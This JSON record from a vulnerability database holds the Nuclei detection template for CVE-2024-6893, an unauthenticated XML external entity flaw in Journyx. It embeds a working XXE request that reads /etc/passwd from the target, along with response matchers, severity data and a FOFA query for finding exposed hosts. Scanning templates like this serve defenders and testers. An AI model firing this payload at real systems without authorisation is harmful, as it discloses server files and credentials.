{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-6893/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-6893/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-6893/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-6893/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-6893/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-6893"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-6893"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-6893.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2024-6893\n\ninfo:\n  name: Journyx - XML External Entities Injection (XXE)\n  author: s4e-io\n  severity: high\n  description: |\n    The \"soap_cgi.pyc\" API handler allows the XML body of SOAP requests to contain references to external entities. This allows an unauthenticated attacker to read local files, perform server-side request forgery, and overwhelm the web server resources.\n  impact: |\n    Unauthenticated attackers can exploit XXE to read local files, perform SSRF attacks, and cause denial of service by overwhelming server resources.\n  remediation: |\n    Update Journyx to version 11.5.5 or later to address the XXE vulnerability.\n  reference:\n    - https://securityforeveryone.com/tools/journyx-xxe-cve-2024-6893\n    - https://korelogic.com/Resources/Advisories/KL-001-2024-010.txt\n    - https://packetstormsecurity.com/files/180005/Journyx-11.5.4-XML-Injection.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-6893\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2024-6893\n    cwe-id: CWE-611\n    epss-score: 0.32916\n    epss-percentile: 0.98301\n  metadata:\n    max-request: 1\n    vendor: journyx\n    product: journyx-jtime\n    fofa-query: icon_hash=\"-109972155\"\n  tags: cve,cve2024,journyx,xxe,vkev,vuln\n\nvariables:\n  pass: \"{{rand_text_alpha(5)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /jtcgi/soap_cgi.pyc HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        <?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY test SYSTEM \"file:///etc/passwd\">]><soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"><soapenv:Header/><soapenv:Body><changeUserPassword><username>&test;</username><curpwd>{{pass}}</curpwd><newpwd>{{pass}}</newpwd></changeUserPassword></soapenv:Body></soapenv:Envelope>\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n          - \"invalid password for user\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"text/xml\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100b0f571021a4040bdf78e5e2d4465d696ed86fb69d39ed81ac920a61e23b86f5e022100e8b67890c6709333d6437c07a733be3bdcc37d9f9219ad4eda0f83fd4b19e971:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-6893"
}